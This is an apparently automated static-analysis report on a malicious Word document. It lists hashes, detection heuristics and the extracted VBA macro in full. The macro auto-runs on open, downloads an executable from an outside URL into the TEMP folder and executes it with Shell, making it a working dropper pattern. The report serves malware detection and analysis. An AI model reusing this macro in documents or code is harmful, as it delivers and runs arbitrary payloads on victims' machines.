Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e82bffdf8859e590…

MALICIOUS

Office (OLE)

33.5 KB Created: 2014-01-03 08:15:00 Authoring application: Microsoft Office Word First seen: 2015-10-05
MD5: cefe46872c646bdc4ac4e7802f24f5e0 SHA-1: 55ba5fd69b574d631eb1118c75623a7c99119ca7 SHA-256: e82bffdf8859e5903b0600d99228f08355d6aa1a913db6d50b54526d0113e247
334 Risk Score

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("TEMP") & "\testeo2x.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFile _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    URLDownloadToFile 0, "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("TEMP") & "\testeo2x.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
    • http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe�Referenced by macro
    • http://the.earth.li/~sgtatham/putty/latest/x86/putty.exeReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1058 bytes
SHA-256: ee1ab7b4b192649449e385ed1871d362e41e1580e23ce35a85b1394baa1b7595
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function URLDownloadToFile _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    h
End Sub

Sub h()
On Error Resume Next

URLDownloadToFile 0, "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("TEMP") & "\testeo2x.exe", 0, 0
Shell Environ("TEMP") & "\testeo2x.exe"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub